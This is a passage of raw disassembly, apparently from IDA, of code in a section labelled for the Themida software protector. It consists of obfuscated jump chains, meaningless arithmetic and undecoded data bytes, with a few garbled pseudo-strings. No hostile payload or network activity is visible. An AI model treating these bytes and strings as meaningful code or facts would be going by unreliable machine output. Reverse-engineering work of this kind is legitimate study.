3Ch add edx, 74807523h add edx, edi jmp loc_5603B6 ; --------------------------------------------------------------------------- loc_561EB6: ; CODE XREF: Themida_:005672A1j add eax, 15EE152Dh push 35F3h mov [esp], ebp jmp loc_55EF59 ; --------------------------------------------------------------------------- loc_561EC8: ; CODE XREF: Themida_:005645C9j push 4 pop ebx jmp loc_55D89D ; --------------------------------------------------------------------------- loc_561ED3: ; CODE XREF: Themida_:0055C165j mov edi, [esp] add esp, 4 push ebx jmp loc_562B64 ; --------------------------------------------------------------------------- loc_561EE2: ; CODE XREF: Themida_:00566EB6j xor ebp, 7EAAE6F1h push eax mov eax, 337203DEh sub edi, eax pop eax add edi, ebp add edi, 337203DEh pop ebp push edx jmp loc_55FC93 ; --------------------------------------------------------------------------- loc_561F00: ; CODE XREF: Themida_:00567620j push eax mov eax, esi jmp loc_56B05C ; --------------------------------------------------------------------------- loc_561F08: ; CODE XREF: Themida_:00559CE9j sub edi, 7F7DFDEFh mov eax, edi jmp loc_561F6A ; --------------------------------------------------------------------------- byte_561F15 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00556068o dd 5D545524h, 4BA52h, 0D5010000h, 0BE56525Ah, 6EAC04F5h dd 0FB0DBE56h, 0F2899153h, 6983E95Eh, 5650FFFFh, 0FFE362E9h db 0FFh ; --------------------------------------------------------------------------- loc_561F41: ; CODE XREF: Themida_:00557900j ; Themida_:00567B65j jns loc_569A55 jmp loc_565792 ; --------------------------------------------------------------------------- dd 0C681D6F7h, 5EF038CBh, 0CF4CEE81h, 51E903ECh, 81FFFF9Fh dd 0D809B3EFh, 0B1F3E977h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F6A: ; CODE XREF: Themida_:00561F10j mov cl, 6 sub cl, 6Bh jmp loc_56B386 ; --------------------------------------------------------------------------- loc_561F74: ; CODE XREF: Themida_:0055CCAFj pop ecx mov edx, [esp] add esp, 4 mov ch, al pop ax inc ch push eax mov al, 0B3h add ch, al pop eax xor ch, 0A3h push edx jmp loc_556D50 ; --------------------------------------------------------------------------- db 51h dd 0F92DE6B9h, 0E2F18100h, 100F92Dh, 0EA8159CAh, 4, 5C241487h dd 57240C89h, 0C781E789h, 4, 0E904EF83h, 7E1h ; --------------------------------------------------------------------------- loc_561FC0: ; CODE XREF: Themida_:00560926j or dl, 1Dh xor dl, 0ECh jmp loc_55C889 ; --------------------------------------------------------------------------- loc_561FCB: ; CODE XREF: Themida_:0055C1CCj add ebp, esi mov esi, [esp] add esp, 4 push 1852h mov [esp], esi push 2 pop esi add ebp, esi pop esi jmp loc_5643B6 ; --------------------------------------------------------------------------- dd 0FF42F6E9h, 0BD55FFh, 81000000h, 0E2460CEDh, 81FD2928h dd 0E2460CC5h, 5DEF8928h, 59B4CF81h, 850F05D9h, 0FFFFA3C9h dd 0DD8B850h, 0AE056A26h, 0B61AE423h db 39h, 88h, 0C9h ; --------------------------------------------------------------------------- loc_562023: ; CODE XREF: Themida_:0056463Ej pop ecx xor ecx, 2B7E6720h pop eax mov edx, ecx pop ecx jmp loc_55B883 ; --------------------------------------------------------------------------- loc_562033: ; CODE XREF: Themida_:0055FA03j push bx mov bh, 18h sub al, bh jmp loc_5636C0 ; --------------------------------------------------------------------------- dw 0C801h dd 81240C8Bh, 4C4h, 24048700h, 6624248Bh, 2404A30Fh, 428DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56205A: ; CODE XREF: Themida_:00564961j sub ecx, 1B2641AEh jnp loc_559B2C jmp loc_562DAC ; --------------------------------------------------------------------------- db 0BEh dd 0AF67FFEh ; --------------------------------------------------------------------------- loc_562070: ; CODE XREF: Themida_:00562B3Dj mov esp, [esp] mul cl movzx cx, ah push small 4CF1h mov [esp], cx movzx cx, al jmp loc_55DF2F ; --------------------------------------------------------------------------- dw 6857h dd 57D07C19h, 0FF9970E9h db 0FFh ; --------------------------------------------------------------------------- loc_562095: ; CODE XREF: Themida_:0055A521j push dx mov dl, 91h sub ah, dl pop dx xor bh, ah mov eax, [esp] add esp, 4 xor bh, 85h sub al, 0D2h jmp loc_55CD2D ; --------------------------------------------------------------------------- loc_5620B2: ; CODE XREF: Themida_:0056B5B8j shl edx, 1 push eax push ebx mov ebx, 60162996h sub ebx, 6E47696h add ebx, 391734C2h neg ebx jmp loc_556CFF ; --------------------------------------------------------------------------- loc_5620CE: ; CODE XREF: Themida_:00564DFFj and ebp, 2F6A321Bh sub ebp, 4A4E6FE7h add ebx, ebp pop ebp sub edi, 0B292DE9h add edi, 56951272h jmp loc_55E27E ; --------------------------------------------------------------------------- loc_5620EE: ; CODE XREF: Themida_:0056D2E7j push 19B7h mov [esp], ebx push 1BE1h mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_5565A2 ; --------------------------------------------------------------------------- loc_56210B: ; CODE XREF: Themida_:0055AF2Ej push ebp mov ebp, ebx mov esi, ebp jmp loc_5612FE ; --------------------------------------------------------------------------- loc_562115: ; CODE XREF: Themida_:00564AF5j ; Themida_:0056C090j xor eax, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 1EB42E78h push esi jmp loc_55F493 ; --------------------------------------------------------------------------- loc_56212E: ; CODE XREF: Themida_:loc_5655F9j sub ebp, 529819EEh jnp loc_55AF70 not ebp jmp loc_56D1E2 ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh db 5Ch ; --------------------------------------------------------------------------- loc_562145: ; CODE XREF: Themida_:0055994Cj mov [esp], ebp push 0ADD3426h jmp loc_56D24E ; --------------------------------------------------------------------------- loc_562152: ; CODE XREF: Themida_:00559BD8j push dword ptr [esp] pop ecx jmp loc_567827 ; --------------------------------------------------------------------------- loc_56215B: ; CODE XREF: Themida_:005573E0j add eax, edx add eax, 62533CE2h jmp loc_559216 ; --------------------------------------------------------------------------- loc_562167: ; CODE XREF: Themida_:0056027Aj pop ecx shr ah, 4 jmp loc_567B58 ; --------------------------------------------------------------------------- loc_562170: ; CODE XREF: Themida_:00567A54j shl eax, 4 add eax, 5D03105Ch jmp loc_56C20F ; --------------------------------------------------------------------------- loc_56217D: ; CODE XREF: Themida_:005585ABj add esp, 4 add edx, 4 xchg edx, [esp] pop esp mov dx, [esp] push edx jmp loc_5640C4 ; --------------------------------------------------------------------------- loc_562194: ; CODE XREF: Themida_:00559264j push eax jmp loc_55B1D2 ; --------------------------------------------------------------------------- dw 0FF68h dd 89000015h, 0E9502424h, 0FFFF5CA7h, 0EC81EFD1h, 4, 0BB241C89h dd 31CA49F3h, 0FFB315E9h db 0FFh ; --------------------------------------------------------------------------- loc_5621BD: ; CODE XREF: Themida_:0055D09Aj mov ebx, 0AE7CAF94h sub ebx, 6D7E2221h add ebx, edi add ebx, 6D7E2221h push dword ptr [esp] pop edi jmp loc_56D5D1 ; --------------------------------------------------------------------------- db 81h, 0E9h, 3Bh dd 811DCD36h, 0B543BBE9h, 0AB62E90Ch, 2489FFFFh, 24048124h dd 4, 8324048Fh, 8B042404h, 89532414h, 4C381E3h, 83000000h dd 1C8704EBh, 2C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 jmp loc_56B080 ; --------------------------------------------------------------------------- loc_56223D: ; CODE XREF: Themida_:0055EB85j pop dword ptr [esp] pop esp mov [esp], ebx push 737Ch jmp loc_56A53C ; --------------------------------------------------------------------------- loc_56224E: ; CODE XREF: Themida_:0055C7EAj mov ebx, 3CA02D70h push eax push ebp jmp loc_5596A1 ; --------------------------------------------------------------------------- word_56225A dw 8B66h ; DATA XREF: Themida_:005560B8o dd 0C768240Ch, 8900005Fh, 0EC81242Ch, 4, 81242489h, 42404h dd 34FF0000h, 0F7CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56227E: ; CODE XREF: Themida_:0055A2A4j add esp, 4 push ecx jmp loc_56738A ; --------------------------------------------------------------------------- loc_562287: ; CODE XREF: Themida_:00564CCEj xor edi, [esp] jmp loc_5564A6 ; --------------------------------------------------------------------------- loc_56228F: ; CODE XREF: Themida_:00566DDAj push eax mov eax, 28DB47FCh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56870C ; --------------------------------------------------------------------------- loc_5622AA: ; CODE XREF: Themida_:0055D6C4j sub ebx, esi sub esp, 4 mov [esp], ebp mov ebp, 48BC76AEh shl ebp, 2 sub ebp, 0C1A16C88h jmp loc_55F141 ; --------------------------------------------------------------------------- loc_5622C8: ; CODE XREF: Themida_:00566680j jz loc_55962A push dword ptr [edi+1Ch] push esi sub esp, 4 jmp loc_567B95 ; --------------------------------------------------------------------------- loc_5622DD: ; CODE XREF: Themida_:00568FB3j and esi, 2E695E0Ch jmp loc_564F55 ; --------------------------------------------------------------------------- loc_5622E8: ; CODE XREF: Themida_:00569D97j xor edi, ebp pop ebp jmp loc_55E644 ; --------------------------------------------------------------------------- dd 241C895Ch, 468h, 0C7815B00h, 6B665FFDh, 1F9CE953h, 0F6E90000h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56230B: ; CODE XREF: Themida_:0055A43Fj xor al, dl pop edx xor dl, al mov eax, [esp] push ebp jmp loc_5637F9 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 429665Ch, 0C0E99C24h db 3Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562327: ; CODE XREF: Themida_:0056D65Dj add esp, 4 mov ax, [esp] jmp loc_56C77E ; --------------------------------------------------------------------------- db 56h dd 0FFEBCFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562339: ; CODE XREF: Themida_:0055CE3Ej push eax mov eax, esp jmp loc_562D5F ; --------------------------------------------------------------------------- loc_562341: ; CODE XREF: Themida_:0055EFFFj ; Themida_:loc_563248j pop dword ptr [esp] pop esp sub ebx, 3B1D6CE2h jmp loc_561B7C ; --------------------------------------------------------------------------- loc_562350: ; CODE XREF: Themida_:00562ADBj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx not dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_562632 ; --------------------------------------------------------------------------- db 1 aSI db 'ьИ-╘',0 align 2 loc_562372: ; CODE XREF: Themida_:005697E8j mov esp, [esp] sub esp, 4 mov [esp], ebx push 3025h mov [esp], ecx mov ecx, 400h push ecx sub dword ptr [esp], 4ED22EF8h pop ebx add ebx, 4ED22EF8h pop ecx and eax, ebx push dword ptr [esp] pop ebx push 77ADh mov [esp], edi mov edi, esp jmp loc_55A567 ; --------------------------------------------------------------------------- loc_5623AD: ; CODE XREF: Themida_:0055B1E7j push esi mov esi, 3F804963h add ecx, esi jmp loc_55A346 ; --------------------------------------------------------------------------- loc_5623BA: ; CODE XREF: Themida_:00566C40j pop ebx xor cl, 99h add cl, 0Eh add cl, 0F0h shl cl, 7 push bx mov bl, 75h xor bl, 17h sub cl, 0D2h jmp loc_56D6C0 ; --------------------------------------------------------------------------- loc_5623D6: ; CODE XREF: Themida_:0055AE0Fj mov eax, 199E2320h xor eax, 4886041Ch sub ebx, eax pop eax xor ebx, 0AEF91DDAh add esi, ebx pop ebx add esi, 4 xchg esi, [esp] mov esp, [esp] push 613Bh mov [esp], ecx jmp loc_563344 ; --------------------------------------------------------------------------- loc_562405: ; CODE XREF: Themida_:0056AE11j sub ecx, 6FFB5240h add ecx, esi jmp loc_55DE48 ; --------------------------------------------------------------------------- loc_562412: ; CODE XREF: Themida_:0055B1B8j add esp, 4 push ebp mov ebp, 45FE66FAh neg ebp jmp loc_562DC1 ; --------------------------------------------------------------------------- loc_562425: ; CODE XREF: Themida_:005575A8j push 3EC0h mov [esp], edi mov edi, 4 add dword ptr [esp+4], 0BE11F2h add [esp+4], edi jmp loc_562CC8 ; --------------------------------------------------------------------------- db 5Eh dd 2474FF50h, 5FC0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56244E: ; CODE XREF: Themida_:0056B76Fj ja loc_55860E sub edx, 5A6D96C0h mov eax, edx pop edx inc eax mov eax, edx or al, 9 loc_562462: ; CODE XREF: Themida_:005670A0j mov ebp, [esp] add esp, 4 jmp loc_5689EC ; --------------------------------------------------------------------------- loc_56246D: ; CODE XREF: Themida_:005653B1j sub ebp, 2D8A6AB1h jno loc_55FFB0 xor ebp, 0BDD60EFFh push 44F4h mov esi, edi loc_562486: ; CODE XREF: Themida_:00567BA0j add esp, 4 add esi, 4 push ebx mov ebx, 4 jmp loc_56484D ; --------------------------------------------------------------------------- loc_56249A: ; CODE XREF: Themida_:00569412j xor esi, [esp] mov esp, [esp] shr eax, 12h xor eax, ecx xchg eax, ecx push 5336h mov [esp], ecx not dword ptr [esp] jmp loc_56A80A ; --------------------------------------------------------------------------- loc_5624B6: ; CODE XREF: Themida_:0056C2C9j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_5624BB: ; CODE XREF: Themida_:00559D8Dj add [esp+4], edi push esi mov esi, 68B4087h add [esp+8], esi pop esi pop edi pop ebx add ebx, 4 push 288Bh jmp loc_562869 ; --------------------------------------------------------------------------- loc_5624DC: ; CODE XREF: Themida_:00558110j mov ebx, 4 add ebp, ebx jmp loc_566F05 ; --------------------------------------------------------------------------- loc_5624E8: ; CODE XREF: Themida_:00560B77j xchg esi, [esp] mov esp, [esp] or ebx, ebx jnz loc_564BB5 push esi push edx jmp loc_558C6E ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 61F9E9h db 0 ; --------------------------------------------------------------------------- loc_562505: ; CODE XREF: Themida_:0055D2D2j push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_562712 ; --------------------------------------------------------------------------- loc_562516: ; CODE XREF: Themida_:0056BAFCj mov esi, 7F940BD4h mov ebx, esi jmp loc_5644EF ; --------------------------------------------------------------------------- loc_562522: ; CODE XREF: Themida_:00556996j xor dl, 21h sub al, 2Dh sub al, dl jmp loc_55E06E ; --------------------------------------------------------------------------- dw 870Fh dd 0FFFF6384h, 8784E9h, 11C28100h db 3Bh, 8Bh, 0Ch ; --------------------------------------------------------------------------- loc_56253F: ; CODE XREF: Themida_:0055FAC8j mov ebx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_55AFE8 ; --------------------------------------------------------------------------- loc_56254E: ; CODE XREF: Themida_:00558318j mov edx, 43932EEFh xor esi, edx pop edx neg esi jmp loc_568773 ; --------------------------------------------------------------------------- loc_56255D: ; CODE XREF: Themida_:00557E59j dec edx add edx, 0FF3B07EFh push ebp mov ebp, edx mov eax, ebp pop ebp pop edx push ebx mov ebx, 15E876FFh jmp loc_55ACEC ; --------------------------------------------------------------------------- loc_562576: ; CODE XREF: Themida_:00562F0Aj push 1560h jmp loc_5591D1 ; --------------------------------------------------------------------------- loc_562580: ; CODE XREF: Themida_:0056AD90j shl ebp, 2 jz loc_566746 xor ebp, 2FBEFDBCh and eax, ebp jmp loc_56C6A4 ; --------------------------------------------------------------------------- loc_562596: ; CODE XREF: Themida_:0056D10Fj add eax, ebx pop ebx jmp loc_567CC7 ; --------------------------------------------------------------------------- loc_56259E: ; CODE XREF: Themida_:00557D15j add eax, ebp pop ebp push eax push dword ptr [esp+4] mov eax, [esp] push eax jmp loc_55BDFA ; --------------------------------------------------------------------------- loc_5625AF: ; CODE XREF: Themida_:0056AD54j js loc_56490B add edx, 4EA8CE01h jmp loc_5643C0 ; --------------------------------------------------------------------------- aXq313LHpi db 'XQ3,$1,$3,$▀$$hPi',0 dw 8900h dd 92682414h, 8900000Eh, 34FF2404h, 24148B24h, 4C481h dd 72680000h, 89000062h, 5F54243Ch, 357BB951h, 0E1D16435h dd 0A7685750h, 0E913191Eh, 7074h ; --------------------------------------------------------------------------- loc_562608: ; CODE XREF: Themida_:00564E55j push 14D3h mov [esp], edx jmp loc_55A89F ; --------------------------------------------------------------------------- db 55h, 0FFh, 74h dd 8F5D0424h, 0E95C2404h, 9DD8h ; --------------------------------------------------------------------------- loc_562624: ; CODE XREF: Themida_:0056CAC4j shr ecx, 5 add ecx, 78694D7Ch jmp loc_55AAFB ; --------------------------------------------------------------------------- loc_562632: ; CODE XREF: Themida_:00562366j shr ebx, 8 sub ebx, 0FFFFFFFFh push esi mov esi, 3C97F3Dh dec esi not esi sub esi, 341F736Ah inc esi jg loc_55EA66 xor esi, 8C724863h xor esi, 15A42F7Eh add esi, 33BA1A95h shl esi, 5 xor esi, 0B2A26F2Dh add ebx, esi jmp loc_560400 ; --------------------------------------------------------------------------- loc_562673: ; CODE XREF: Themida_:005643BBj mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55B4B9 ; --------------------------------------------------------------------------- loc_562682: ; CODE XREF: Themida_:00560E67j add esp, 4 sub edx, ecx pop ecx jmp loc_568EC8 ; --------------------------------------------------------------------------- loc_56268D: ; CODE XREF: Themida_:loc_559173j jmp loc_55A55E ; --------------------------------------------------------------------------- loc_562692: ; CODE XREF: Themida_:0055E893j add edx, 4 sub edx, 4 jmp loc_55EB90 ; --------------------------------------------------------------------------- loc_5626A0: ; CODE XREF: Themida_:00563084j ; Themida_:00565E95j mov ebp, 417A6905h jmp loc_567A9A ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 0FFFF4459h ; --------------------------------------------------------------------------- loc_5626B8: ; CODE XREF: Themida_:0056D1B9j not eax not eax sub eax, 43287ECBh sub eax, 712613F1h jmp loc_55B197 ; --------------------------------------------------------------------------- loc_5626CB: ; CODE XREF: Themida_:0056837Ej add ebx, edi pop edi push edi mov edi, 4 jmp loc_5635CF ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h dd 0E4B55124h, 8066F580h, 21E943E5h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5626EB: ; CODE XREF: Themida_:00559181j pop ebp push eax jmp loc_563079 ; --------------------------------------------------------------------------- loc_5626F2: ; CODE XREF: Themida_:0055CAE2j shr eax, 6 jmp loc_561BE7 ; --------------------------------------------------------------------------- loc_5626FA: ; CODE XREF: Themida_:005593BAj or eax, 70F652EAh ja loc_559968 xor eax, 20300C1Bh jmp loc_569F1C ; --------------------------------------------------------------------------- db 1 db 0FBh, 5Fh ; --------------------------------------------------------------------------- loc_562712: ; CODE XREF: Themida_:00562511j add esp, 4 push 4936h mov [esp], ebp sub esp, 4 mov [esp], edi jmp loc_5578D1 ; --------------------------------------------------------------------------- dw 2C89h dd 6F3DE924h db 2 dup(0FFh) word_562736 dw 32FFh ; DATA XREF: Themida_:00556268o dd 0FF3BAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56273D: ; CODE XREF: Themida_:0055A1BEj add esi, 4 jmp loc_55E2A8 ; --------------------------------------------------------------------------- loc_562748: ; CODE XREF: Themida_:00556930j mov [esp], esi mov esi, 6EA03CF5h xor esi, 13D658ECh jmp loc_56C902 ; --------------------------------------------------------------------------- db 0BBh dd 73C952E8h, 874BD3F7h, 87D6F7F3h, 3EBC1F3h, 0B951D3F7h dd 3A0701FBh, 2414F751h, 0A4E0E959h, 2C890000h, 0D5B85024h dd 0BD601121h, 47233F56h, 34FFC531h, 8CA3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562796: ; CODE XREF: Themida_:0056AAA2j pop ebx xor al, ch mov ecx, [esp] jmp loc_55B00D ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 2424895Ch, 4240483h, 14C86859h, 4FE90000h, 8100007Ch dd 2E22F1CFh, 8FF7815Eh, 0E9073773h, 0FFFFAFDBh ; --------------------------------------------------------------------------- loc_5627C8: ; CODE XREF: Themida_:00559168j ; Themida_:0055A013j jmp loc_5562E7 ; --------------------------------------------------------------------------- db 55h, 53h, 0BBh dd 5AB926CCh, 5AEB8143h, 89855E4Dh, 241C8BDDh, 104C483h dd 0F7895DEEh, 7386E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5627EE: ; CODE XREF: Themida_:00562B69j push ebx push eax push dword ptr [esp] pop ebx add esp, 4 pop eax not eax xor ebx, eax xor eax, ebx xor ebx, eax sub esp, 4 mov [esp], esi push 23A4h mov [esp], ebx push edx jmp loc_565B45 ; --------------------------------------------------------------------------- loc_562814: ; CODE XREF: Themida_:00563A49j push 0C8Ah push esp pop dword ptr [esp] push ebp push ecx mov ecx, 58131D2Fh mov ebp, 58131D2Bh xor ebp, ecx pop ecx jmp loc_55FACD ; --------------------------------------------------------------------------- loc_562831: ; CODE XREF: Themida_:00564E80j mov ebx, esp jmp loc_561DD7 ; --------------------------------------------------------------------------- dd 0C681CE01h, 41F22CEh, 237DBD55h, 0EE29713Fh, 240C8B5Dh dd 6804C483h, 21E8h, 0BD242C89h, 4BF05E50h, 2EBEE81h, 0EE29124Dh dd 0AAD6E9h db 0 ; --------------------------------------------------------------------------- loc_562869: ; CODE XREF: Themida_:005624D7j mov [esp], edi mov edi, 4 jmp loc_56C1A3 ; --------------------------------------------------------------------------- dw 815Bh dd 4ECh, 24348900h, 0ACE9E689h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562887: ; CODE XREF: Themida_:0055C20Cj or ecx, 161B0B14h sub ecx, 3FDB5B73h mov esi, ecx pop ecx jmp loc_5610C2 ; --------------------------------------------------------------------------- db 0Fh dd 0FFB6A48Fh, 51EB81FFh, 0F38D459h, 0FF61C786h db 0FFh, 0B1h, 0Ah ; --------------------------------------------------------------------------- loc_5628AF: ; CODE XREF: Themida_:005610E6j mov edi, 35B96054h push eax mov eax, 9E62564h jmp loc_55B45F ; --------------------------------------------------------------------------- loc_5628BF: ; CODE XREF: Themida_:0055E9F0j sub ebx, 5970B7D0h add ebp, 782A65C2h add ebp, ebx sub ebp, 782A65C2h pop ebx and eax, ebp push dword ptr [esp] pop ebp jmp loc_56894C ; --------------------------------------------------------------------------- db 0Fh dd 0FFDC3A81h, 0EEC381FFh, 0E9595138h, 1E17h, 57C18958h ; --------------------------------------------------------------------------- loc_5628F4: ; CODE XREF: Themida_:0055CB5Fj mov ebp, 1EFE1A66h jmp loc_567EA9 ; --------------------------------------------------------------------------- dw 0C30Dh dd 0F6E657Ch, 3E5689h, 469F2500h, 922D3C2Ah, 8072AD4Eh dd 0D2F642CAh, 0FF75E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56291D: ; CODE XREF: Themida_:00561650j add esp, 4 pop edx xor ebx, eax push edi mov edi, 1A126FB4h jmp loc_55F119 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 0Ch aS_o db '$°И_▌',0 db 0 ; --------------------------------------------------------------------------- loc_56293B: ; CODE XREF: Themida_:0055EF54j pop esi xor edx, 0F62191Bh add [esp+4], edx jmp loc_559178 ; --------------------------------------------------------------------------- loc_56294B: ; CODE XREF: Themida_:0056A694j push dword ptr [esp] pop esi sub esp, 4 jmp loc_55B40F ; --------------------------------------------------------------------------- loc_56295A: ; CODE XREF: Themida_:0055F130j push ecx mov ecx, 4CAE4EB7h jmp loc_558B86 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 8904EC83h, 0E9502434h, 6887h, 0BA241489h, 4, 0FF58C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_562981: ; CODE XREF: Themida_:00568B2Bj push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp or esi, 0A621D29h jg loc_5614EB sub esi, 7FF23F25h and ecx, esi mov esi, [esp] push esi mov ecx, esp add ecx, 4 push 556h mov [esp], edi jmp loc_5567BE ; --------------------------------------------------------------------------- loc_5629B7: ; CODE XREF: Themida_:loc_564F55j jmp loc_56953B ; --------------------------------------------------------------------------- loc_5629BC: ; CODE XREF: Themida_:00559DAEj ; Themida_:0056A5CCj sub ebx, 0BD619C7Ah mov edi, ebx pop ebx dec edi jnz loc_563C0A add edi, 49C004F0h jz loc_559D9D xor al, 0BAh loc_5629DA: ; CODE XREF: Themida_:005596B8j pop edx push eax mov eax, 60B53C68h sub ebx, eax jmp loc_5689BE ; --------------------------------------------------------------------------- loc_5629E8: ; CODE XREF: Themida_:0055E323j mov ecx, 3D6A79C0h sub ecx, edx pop edx jmp loc_566AAC ; --------------------------------------------------------------------------- loc_5629F5: ; CODE XREF: Themida_:00561A2Aj sub dword ptr [esp+8], 34D450B1h pop ecx jmp loc_55BC12 ; --------------------------------------------------------------------------- loc_562A03: ; CODE XREF: Themida_:0056BC9Bj mov [esp], esi mov esi, esp jmp loc_569E98 ; --------------------------------------------------------------------------- loc_562A0D: ; CODE XREF: Themida_:005579F0j push ebx not byte ptr [esp+1] pop ebx push edx mov dh, 79h push edx mov dh, 0Eh jmp loc_5699D7 ; --------------------------------------------------------------------------- dw 3489h dd 6BB4BE24h, 0D6F778A7h, 337F681h, 0DEF7033Ah, 0FF395CE9h dd 240C8BFFh, 2D04C483h, 15114BE0h, 676BE9h db 0 ; --------------------------------------------------------------------------- loc_562A45: ; CODE XREF: Themida_:0056A385j mov eax, esp add eax, 4 jmp loc_562F1A ; --------------------------------------------------------------------------- loc_562A51: ; CODE XREF: Themida_:0055B694j sub eax, ebp add eax, 563A0ED6h sub esp, 4 mov [esp], edi mov edi, 61442E67h and edi, 58B36F75h sub edi, 78863391h sub edi, 398F1CDEh shr edi, 3 jmp loc_565DD2 ; --------------------------------------------------------------------------- loc_562A80: ; CODE XREF: Themida_:0056089Bj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub edx, 1D253493h add edx, 10E01F37h sub edx, ecx sub edx, 10E01F37h add edx, 1D253493h mov ecx, [esp] add esp, 4 jmp loc_56B266 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FEE4E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562ABE: ; CODE XREF: Themida_:0055F495j mov ecx, 1CAA48C5h add ecx, 10047EC8h sub ecx, 0D689190h mov ebx, ecx pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_562350 ; --------------------------------------------------------------------------- loc_562AE0: ; CODE XREF: Themida_:0055B931j jb loc_5666B7 inc ebp jo loc_55F6FC push ebx push esi add bl, 0CAh push eax mov ecx, 73A7093h shl ecx, 7 sub esp, 4 jmp loc_56CDEE ; --------------------------------------------------------------------------- loc_562B06: ; CODE XREF: Themida_:00565AA0j pop ebp jmp loc_568F5B ; --------------------------------------------------------------------------- dd 8D0FC5FEh, 4C0Dh, 5DE95066h, 890000A8h db 0FAh, 5Fh ; --------------------------------------------------------------------------- loc_562B1E: ; CODE XREF: Themida_:00568EA7j inc ebp shl ebp, 3 xor ebp, 0F94565EFh add eax, ebp pop ebp add eax, 390F6D75h jmp loc_567A7A ; --------------------------------------------------------------------------- loc_562B35: ; CODE XREF: Themida_:005615F4j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_562B3A: ; CODE XREF: Themida_:0055BD3Bj xor ebp, [esp] jmp loc_562070 ; --------------------------------------------------------------------------- dw 2489h dd 0BEC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B4A: ; CODE XREF: Themida_:0055C39Cj add esp, 4 add eax, 4 add eax, 4 jmp loc_55B43D ; --------------------------------------------------------------------------- loc_562B5A: ; CODE XREF: Themida_:0055BE01j add eax, 4 jmp loc_55AC2E ; --------------------------------------------------------------------------- loc_562B64: ; CODE XREF: Themida_:00561EDDj mov ebx, 5F4D7A27h jmp loc_5627EE ; --------------------------------------------------------------------------- aZ4H0 db '┤4$\hй0',0 dw 8900h dd 0E0892404h, 405h, 4EC8300h, 0FFC275E9h db 0FFh ; --------------------------------------------------------------------------- loc_562B89: ; CODE XREF: Themida_:00569E30j push esi mov esi, 1A4C7C88h xor esi, 628142Ch sub edx, esi jmp loc_557B27 ; --------------------------------------------------------------------------- dd 354F68h, 241C8900h, 367091BBh, 0DEF0B905h, 96E91FCFh db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BB3: ; CODE XREF: Themida_:0056A57Aj push eax push 126h mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_55A372 ; --------------------------------------------------------------------------- loc_562BC9: ; CODE XREF: Themida_:0055B999j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp pop edi push edx mov edx, 15AE5EA7h dec edx inc edx push ecx push eax mov eax, 15AE5EA3h mov ecx, eax pop eax xor edx, ecx pop ecx add edi, edx jmp loc_5631C9 ; --------------------------------------------------------------------------- loc_562BF4: ; CODE XREF: Themida_:loc_56B3D8j inc edi jle loc_566962 add edi, 0F3B79C83h mov esi, edi pop edi jmp loc_56126A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 582434FFh, 8904EC83h, 0E389241Ch, 0FF7267E9h db 0FFh ; --------------------------------------------------------------------------- loc_562C1D: ; CODE XREF: Themida_:0055A85Ej push 1690h mov [esp], esp push edi mov edi, 4 jmp loc_56A941 ; --------------------------------------------------------------------------- dd 0C781C701h, 3AF02F6Bh, 4FC9E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562C3E: ; CODE XREF: Themida_:00564D4Cj pop edx sub esi, 67167EEEh add esi, edx sub esp, 4 mov [esp], ebx mov ebx, 679216BBh shl ebx, 2 xor ebx, 651719FDh inc ebx dec ebx shr ebx, 4 sub ebx, 0A89F7543h add esi, ebx jmp loc_5610C2 ; --------------------------------------------------------------------------- db 1, 0C3h, 58h dd 25B7BE56h, 0C6813D60h, 0C29FDA4Bh, 34FFF301h, 0DD685E24h dd 89000010h, 0E9542404h, 0FFFF9A2Ch, 0EBBEF81h, 0EF814727h dd 5C6823A4h, 582434FFh, 81E18951h, 4C1h, 4BD5500h, 0E9000000h dd 4464h ; --------------------------------------------------------------------------- loc_562CB4: ; CODE XREF: Themida_:0055C588j pop ecx jmp loc_5562E7 ; 